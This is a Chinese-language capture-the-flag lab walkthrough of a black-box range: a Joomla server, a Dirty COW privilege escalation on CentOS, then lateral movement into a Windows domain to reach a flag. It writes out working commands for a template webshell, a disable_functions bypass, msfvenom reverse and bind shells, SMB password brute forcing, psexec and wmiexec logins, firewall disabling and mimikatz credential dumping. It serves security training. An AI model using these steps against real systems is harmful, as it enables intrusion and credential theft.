本环境为黑盒测试,在不提供虚拟机帐号密码的情况下进行黑盒测试拿到域控里面的flag。涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点

环境搭建

image-20230424132724840

新建一个VMnet2

image-20230424121617118

本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录。已知出网主机为centos主机,将centos出网网卡和kali攻击机网卡都设置为NAT模式,其它网卡都默认vmnet2模式

image-20230424131911640

开启centos,第一次运行,需重新获取桥接模式网卡ip,service network restart。查看ip发现两个网段192.168.48.0/24(出网ip)和192.168.93.0/24(内网ip)

在kali上ping一下出网主机,看能否连通。开启所有主机,靶场搭建完毕

服务器渗透

因为是黑盒测试,所以我们现在并不知道出网主机的ip。使用nmap扫描整个网段,探测存活主机

1
nmap -sP -T4 192.168.1.0/24

端口扫描

1
nmap -sS -p 1-65535 -A 192.168.1.110

image-20230424214228435

dirsearch进行目录扫描,发现configuration.php,administrator

访问administrator管理员后台,测试不存在默认口令/弱口令,但configuration.php中发现管理员备份的数据库密码

image-20230424214547262
连接mysql

用上面找到的数据库密码连接上mysql。翻数据找管理员的帐号,管理员帐号肯定是找带有user字段跟password字段的,发现umnbt_users这个表跟管理员帐号最相似,但password这个地方不是明文

image-20230424214506079

访问80端口的网站,CMS是Joomla,用kali自带工具joomscan进行扫描,扫描出joomla版本为3.9.12

1
joomscan -u http://192.168.1.110
image-20230424214651742

joomla官网虽然没有直接公布密码的加密方式,但是它为了防止用户忘记密码增加了一个添加超级管理员用户的方式,就是通过登录数据库执行sql语句达到新建超级管理员的效果

image-20230424135616576

这里我们可以发现sql语句中的VALUES中的第三项为密文,这里我们为了方便就用他给我们的这一串密文,这里对应的密码为secret,当然也可以用其他对应的密文如下所示

image-20230424135855584

执行sql语句,添加一个admin2 secret这个新的超级管理员用户

image-20230424222048999 image-20230424222041185

或者直接用update修改数据库密码

image-20230424222308086

使用admin2 secret登录joomla后台。进入后台,找可以上传文件的地方上传图片马或者找一个能够写入sql语句的地方

后台getshell
image-20230424222353266

经过谷歌后发现,joomla的后台有一个模板的编辑处可以写入文件,这里找到Extensions->Template->Templates

image-20230424222413724 image-20230424222420713

模板前面有<?php前缀,只需要一句话木马中间部分,然后保存

image-20230424222459219

使用蚁剑连接

image-20230424140508934

发现无法执行命令,命令执行返回的是127

image-20230424140543743

应该是disable_functions禁用了命令执行的函数,在windows下绕过disable_functions的方法很少,但在linux里面绕过disable_functions的方法有很多

绕过disable_functions

可以使用蚁剑里自带的插件绕过

image-20230425091734665

image-20230425091400305

或者使用github上的 通过 LD_PRELOA 绕过 disable_functions

image-20230425085142090
1
/bypass_disablefunc.php?cmd=id&outpath=/tmp/123&&sopath=/tmp/bypass_disablefunc_x64.so

image-20230425085240599

内网渗透

ifconfig一下,发现这里的ip是另一个网段的ip。就是说我们之前拿到的那台linux的192.168.1.0/24这个网段相当于一个公网IP,但是真正的主机应该是192.168.93.0/24,但这个是一个内网网段,所以说最符合这种情况的就是nginx反向代理

image-20230425092205547

翻翻文件,在/tmp目录下发现了一个文件test.txt

1
2
adduser wwwuser
passwd wwwuser_123Aqx

由于服务器开启了SSH服务于是尝试登录一下,成功登上。经过简单信息搜集发现这是一台双网卡机器,并且内核较老,可以使用脏牛漏洞提权

脏牛提权

由于编译器的不同,把kali编译好的脏牛提权exp上传到靶机执行,会报错。所以上传dirty.c到靶机上编译执行

1
2
gcc -pthread dirty.c -o dirty -lcrypt	//编译dirty.c
./dirty 123456 //创建一个高权限用户,密码为123456

执行成功,脏牛执行成功过后会自动生成一个名为firefart的高权限用户,密码就是我们刚才设置的123456

切换到firefart用户进行查看

image-20230425184756536

msf
  • elf文件上线

生成linux马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4444 -f elf > a.elf

img

msf监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.128
set LPORT 4444
exploit

centos上执行msf马即可上线

1
2
chmod +x a.elf
./a.elf
  • 反弹shell
1
2
3
4
5
6
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.128
set lport 4444
exploit

image-20210708154117371

将payload复制到centos执行

image-20210708154307204

反弹shell成功

image-20210708154359991

设置socks代理,对192.168.93.0/24网段进行扫描

1
2
3
4
5
6
7
8
use auxiliary/server/socks_proxy
set version 4a
set srvhost 127.0.0.1
run

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0/24
run

扫描发现内网里有3台主机存活,分别是192.168.93.10 192.168.93.20 192.168.93.30

image-20230425191559575

继续扫描详细信息

1
nmap -T4 -sC -sV 192.168.93.10 192.168.93.20 192.168.93.30

10这台主机开启了53端口DNS服务,大概率为域控

image-20230425191711995

20这台主机开的都是几个常规端口,值得注意的就是1433端口,意味着20这台主机上有mssql服务

30这台主机也是开了几个常规端口,跟前面两台主机相比就没什么特征端口,应该是一个普通的域成员主机

image-20230425191814511
永恒之蓝尝试

三台主机都开了139、445端口,那么先使用永恒之蓝模块先批量扫描一波看有没有可以直接用永恒之蓝打下来的主机。没有能够直接用永恒之蓝拿下的主机,win7跟2008匿名管道都没有开所以利用不了

image-20230425192059026
密码枚举

这三台主机都开了445端口,可以使用smb,使用msf中的smb_login模块进行密码枚举尝试

1
2
3
4
5
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.30
set SMBUser Administrator
set PASS_FILE /tmp/1W.txt
run

img

爆破出30主机密码为123qwe!ASD

img

爆破出10主机密码为zxcASDqw123!!

20主机爆破报错,换工具爆破,使用kali自带工具hydra

img

成功爆破出2008密码也为123qwe!ASD

横向移动
psexec

使用msf自带模块进行攻击

1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
exploit
img

成功拿下30主机,获得会话后进行进程迁移,不然很开会断掉

1
migrate PID

用同样的方法,在2008主机和2012主机上失败

wmiexec

使用impacket包中的wmiexec工具

1
python wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'

img

成功获得10主机cmd

1
python wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

img

成功获得20主机cmd

只有CMD且没有与外网连接,想要上传文件只能通过3389远程连接。开远程桌面功能

1
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

防火墙放行

1
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes

连接2012主机的远程桌面失败

成功连接2008的远程桌面

img

登录时记得要切换用户为administrator

生成一个msf bind的马

1
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=5555 -f exe > shell1.exe

将马通过远程连接上传到2008主机上

img

在kali上进行监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.93.20
set LPORT 5555
exploit

远程桌面执行msf马

img

通过getsystem提权,成功获得system权限

img

进程迁移

1
migrate PID

2012主机无法通过远程桌面上传文件,想到可以用文件共享

在获得2012主机的CMD中执行命令

1
net use \\192.168.93.20\ipc$ "zxcASDqw123!!" /user:TEST.ORG\Administrator

img

成功建立ipc共享

生成一个msf bind马

1
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=6666 -f exe > shell2.exe

将马通过远程桌面上传到2008主机上

img

再通过ipc文件共享复制到2012主机上

img

上传成功,在msf开启监听

1
2
3
4
5
exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.93.10
set LPORT 6666
exploit

在CMD上执行马,发现没有收到会话,应该是被防火墙拦截了,关闭防火墙

1
NetSh Advfirewall set allprofiles state off

成功收到会话

img

使用getsystem命令提权

img

进程迁移

1
migrate PID

成功拿下所有主机

img

最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt

mimikatz抓域控密码

要是没有爆出10这台主机密码,也可以使用mimikatz抓取hash并保存为日志

1
2
psexec64.exe \\192.168.93.20 cmd
mimiKatz.exe log privilege::debug sekurlsa::logonpasswords

type mimikatz.log读取日志内容可以发现域控的帐号密码为Administrator zxcASDqw123!!

image-20230425195531063 image-20230425195500390

即可进行后续操作